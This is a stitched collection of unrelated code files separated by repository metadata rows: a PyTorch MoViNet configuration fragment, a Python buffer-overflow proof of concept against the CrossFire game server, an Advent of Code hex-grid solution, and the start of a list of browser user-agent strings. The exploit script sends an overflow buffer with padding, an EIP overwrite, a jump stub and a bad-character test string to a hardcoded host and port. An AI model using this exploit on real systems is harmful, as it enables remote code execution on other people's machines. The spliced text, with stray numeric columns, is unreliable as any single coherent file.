fill_SE_config(_C.MODEL.MoViNetA4.blocks[0][2], 24, 24, 96, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[0][3], 24, 24, 64, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[0][4], 24, 24, 96, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[0][5], 24, 24, 64, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 3
fill_SE_config(_C.MODEL.MoViNetA4.blocks[1][0], 24, 56, 168, (3,3,3), (1,2,2), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[1][1], 56, 56, 168, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[1][2], 56, 56, 136, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[1][3], 56, 56, 136, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[1][4], 56, 56, 168, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[1][5], 56, 56, 168, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[1][6], 56, 56, 168, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[1][7], 56, 56, 136, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[1][8], 56, 56, 136, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 4
fill_SE_config(_C.MODEL.MoViNetA4.blocks[2][0], 56, 96, 320, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[2][1], 96, 96, 160, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[2][2], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[2][3], 96, 96, 192, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[2][4], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[2][5], 96, 96, 160, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[2][6], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[2][7], 96, 96, 256, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[2][8], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 5
fill_SE_config(_C.MODEL.MoViNetA4.blocks[3][0], 96, 96, 320, (5,3,3), (1,1,1), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[3][1], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[3][2], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[3][3], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[3][4], 96, 96, 192, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[3][5], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[3][6], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[3][7], 96, 96, 192, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[3][8], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[3][9], 96, 96, 320, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 6
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][0], 96 , 192, 640, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][1], 192, 192, 512, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][2], 192, 192, 512, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][3], 192, 192, 640, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][4], 192, 192, 640, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][5], 192, 192, 640, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][6], 192, 192, 512, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][7], 192, 192, 512, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][8], 192, 192, 640, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][9], 192, 192, 768, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][10], 192, 192, 640, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][11], 192, 192, 640, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[4][12], 192, 192, 768, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
_C.MODEL.MoViNetA4.conv7= CN()
fill_conv(_C.MODEL.MoViNetA4.conv7, 192,856,(1,1,1),(1,1,1),(0,0,0))
_C.MODEL.MoViNetA4.dense9= CN()
_C.MODEL.MoViNetA4.dense9.hidden_dim = 2048
###################
#### MoViNetA5 ####
###################
_C.MODEL.MoViNetA5 = CN()
_C.MODEL.MoViNetA5.name = "A5"
_C.MODEL.MoViNetA5.weights = "https://github.com/Atze00/MoViNet-pytorch/blob/main/weights/modelA5_statedict_v3?raw=true"
_C.MODEL.MoViNetA5.conv1 = CN()
fill_conv(_C.MODEL.MoViNetA5.conv1, 3,24,(1,3,3),(1,2,2),(0,1,1))
_C.MODEL.MoViNetA5.blocks = [ [CN() for _ in range(6)],
[CN() for _ in range(11)],
[CN() for _ in range(13)],
[CN() for _ in range(11)],
[CN() for _ in range(18)]]
#Block2
fill_SE_config(_C.MODEL.MoViNetA5.blocks[0][0], 24, 24, 64, (1,5,5), (1,2,2), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[0][1], 24, 24, 64, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[0][2], 24, 24, 96, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[0][3], 24, 24, 64, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[0][4], 24, 24, 96, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[0][5], 24, 24, 64, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 3
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][0], 24, 64, 192, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][1], 64, 64, 152, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][2], 64, 64, 152, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][3], 64, 64, 152, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][4], 64, 64, 192, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][5], 64, 64, 192, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][6], 64, 64, 192, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][7], 64, 64, 152, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][8], 64, 64, 152, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][9], 64, 64, 192, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[1][10], 64, 64, 192, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 4
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][0], 64, 112, 376, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][1], 112, 112, 224, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][2], 112, 112, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][3], 112, 112, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][4], 112, 112, 296, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][5], 112, 112, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][6], 112, 112, 224, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][7], 112, 112, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][8], 112, 112, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][9], 112, 112, 296, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][10], 112, 112, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][11], 112, 112, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[2][12], 112, 112, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 5
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][0], 112, 120, 376, (5,3,3), (1,1,1), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][1], 120, 120, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][2], 120, 120, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][3], 120, 120, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][4], 120, 120, 224, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][5], 120, 120, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][6], 120, 120, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][7], 120, 120, 224, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][8], 120, 120, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][9], 120, 120, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[3][10], 120, 120, 376, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 6
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][0], 120 , 224, 744, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][1], 224, 224, 744, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][2], 224, 224, 600, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][3], 224, 224, 600, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][4], 224, 224, 744, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][5], 224, 224, 744, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][6], 224, 224, 744, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][7], 224, 224, 896, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][8], 224, 224, 600, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][9], 224, 224, 600, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][10], 224, 224, 896, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][11], 224, 224, 744, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][12], 224, 224, 744, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][13], 224, 224, 896, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][14], 224, 224, 600, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][15], 224, 224, 600, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][16], 224, 224, 744, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA5.blocks[4][17], 224, 224, 744, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
_C.MODEL.MoViNetA5.conv7= CN()
fill_conv(_C.MODEL.MoViNetA5.conv7, 224,992,(1,1,1),(1,1,1),(0,0,0))
_C.MODEL.MoViNetA5.dense9= CN()
_C.MODEL.MoViNetA5.dense9.hidden_dim = 2048
| 58.057143
| 134
| 0.585138
| 5,782
| 26,416
| 2.539606
| 0.025078
| 0.136203
| 0.118292
| 0.106238
| 0.88845
| 0.879733
| 0.838668
| 0.821302
| 0.784868
| 0.770771
| 0
| 0.21736
| 0.120306
| 26,416
| 454
| 135
| 58.185022
| 0.414537
| 0.015067
| 0
| 0.0875
| 0
| 0.028125
| 0.032445
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.00625
| false
| 0
| 0.003125
| 0
| 0.009375
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
c40019f1fcc086ae56e2ca46260669957a6b6a9c
| 1,526
|
py
|
Python
|
crossfire_poc5.py
|
CallMeLawrence/crossfire-bof-poc
|
3ae4c3db7ab8340070b978ed3aacf3971fda0a27
|
[
"MIT"
] | null | null | null |
crossfire_poc5.py
|
CallMeLawrence/crossfire-bof-poc
|
3ae4c3db7ab8340070b978ed3aacf3971fda0a27
|
[
"MIT"
] | null | null | null |
crossfire_poc5.py
|
CallMeLawrence/crossfire-bof-poc
|
3ae4c3db7ab8340070b978ed3aacf3971fda0a27
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python
import socket
target = "192.168.198.44"
port = 13327
bad_chars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
padding = "\x41" * (4368 - len(bad_chars))
eip = "\x42" * 4
first_stage = "\x83\xC0\x0C\xff\xE0\x90\x90"
# \x00\x20
buffer = "\x11(setup sound " + padding + eip + first_stage + bad_chars + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]SENDING BUFFER[*]"
s.connect((target,port))
print s.recv(1024)
s.send(buffer)
s.close()
print "[*]PAYLOAD SENT ... CLOSING[*]"
| 44.882353
| 139
| 0.707733
| 329
| 1,526
| 3.261398
| 0.896657
| 0.022367
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.251208
| 0.050459
| 1,526
| 34
| 140
| 44.882353
| 0.489303
| 0.016383
| 0
| 0
| 0
| 0.363636
| 0.761333
| 0.696
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0.045455
| null | null | 0.136364
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c45adbc07a7fe6d9a30948b354c3219355435018
| 2,870
|
py
|
Python
|
2017/Python/day111.py
|
sheecegardezi/Advent-of-Code
|
b4e83bc850cd3a086b6bc19c7199fc030e13096c
|
[
"Apache-2.0"
] | 1
|
2017-12-19T04:47:13.000Z
|
2017-12-19T04:47:13.000Z
|
2017/Python/day111.py
|
sheecegardezi/Advent-of-Code
|
b4e83bc850cd3a086b6bc19c7199fc030e13096c
|
[
"Apache-2.0"
] | 2
|
2019-01-18T06:30:48.000Z
|
2019-01-18T06:31:10.000Z
|
2017/Python/day111.py
|
sheecegardezi/Advent-of-Code
|
b4e83bc850cd3a086b6bc19c7199fc030e13096c
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python
# # -*- coding: utf-8 -*-
"""
title :day111.py
description :Link to problem: http://adventofcode.com/2017/day/11
author :Sheece Gardezi
date :2018/1/4
version :1.0
usage :python day111.py
python_version :3.6.1
"""
startposition=[0,0]
file = open("input/110.txt", "r")
steps=[]
for line in file:
for step in line.strip().split(','):
steps.append(step)
maxDistance=0
for step in steps:
if step == "n":
startposition[0] = startposition[0]
startposition[1] = startposition[1]+2
elif step == "ne":
startposition[0] = startposition[0]+2
startposition[1] = startposition[1]+1
elif step == "se":
startposition[0] = startposition[0]+2
startposition[1] = startposition[1]-1
elif step == "s":
startposition[0] = startposition[0]
startposition[1] = startposition[1]-2
elif step == "sw":
startposition[0] = startposition[0]-2
startposition[1] = startposition[1]-1
elif step == "nw":
startposition[0] = startposition[0]-2
startposition[1] = startposition[1]+1
tempStartposition = [startposition[0],startposition[1]]
distance = 0
while tempStartposition[0] != 0 or tempStartposition[1] != 0 :
#north
if tempStartposition[0] == 0 and tempStartposition[1] > 0 :
tempStartposition[0] = tempStartposition[0]
tempStartposition[1] = tempStartposition[1] - 2
distance = distance + 1
#north east
elif tempStartposition[0] > 0 and tempStartposition[1] > 0 :
tempStartposition[0] = tempStartposition[0] - 2
tempStartposition[1] = tempStartposition[1] - 1
distance = distance + 1
#south east
elif tempStartposition[0] > 0 and tempStartposition[1] < 0 :
tempStartposition[0] = tempStartposition[0] - 2
tempStartposition[1] = tempStartposition[1] + 1
distance = distance + 1
#south
elif tempStartposition[0] == 0 and tempStartposition[1] < 0 :
tempStartposition[0] = tempStartposition[0]
tempStartposition[1] = tempStartposition[1] + 2
distance = distance + 1
#south west
elif tempStartposition[0] < 0 and tempStartposition[1] < 0 :
tempStartposition[0] = tempStartposition[0] + 2
tempStartposition[1] = tempStartposition[1] + 1
distance = distance + 1
#north west
elif tempStartposition[0] < 0 and tempStartposition[1] > 0 :
tempStartposition[0] = tempStartposition[0] + 2
tempStartposition[1] = tempStartposition[1] - 1
distance = distance + 1
if distance > maxDistance:
maxDistance = distance
print(maxDistance)
| 25.175439
| 69
| 0.590941
| 300
| 2,870
| 5.65
| 0.223333
| 0.20177
| 0.134513
| 0.169912
| 0.720944
| 0.720944
| 0.720944
| 0.720944
| 0.720944
| 0.720944
| 0
| 0.066601
| 0.293728
| 2,870
| 114
| 70
| 25.175439
| 0.76961
| 0.113589
| 0
| 0.464286
| 0
| 0
| 0.009885
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.017857
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
674f7c1bd70094fb5558b9a56167de583ba3f0e5
| 20,073
|
py
|
Python
|
camply/config/api_config.py
|
juftin/camply
|
d365ed10a62248edc428a68a8ee96743c4b8fa98
|
[
"MIT"
] | 123
|
2021-05-19T04:56:47.000Z
|
2022-03-23T19:04:45.000Z
|
camply/config/api_config.py
|
juftin/camply
|
d365ed10a62248edc428a68a8ee96743c4b8fa98
|
[
"MIT"
] | 11
|
2021-05-25T20:22:14.000Z
|
2022-03-05T16:31:32.000Z
|
camply/config/api_config.py
|
juftin/camply
|
d365ed10a62248edc428a68a8ee96743c4b8fa98
|
[
"MIT"
] | 21
|
2021-05-24T05:53:24.000Z
|
2022-03-31T02:03:41.000Z
|
#!/usr/bin/env python3
# Author:: Justin Flannery (mailto:juftin@juftin.com)
"""
API Searching Configuration
"""
from os import getenv
from typing import Dict, List
from dotenv import load_dotenv
from camply.config.file_config import FileConfig
load_dotenv(FileConfig.DOT_CAMPLY_FILE, override=False)
USER_AGENT_STRINGS: List[str] = [
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
"Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36",
"Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36",
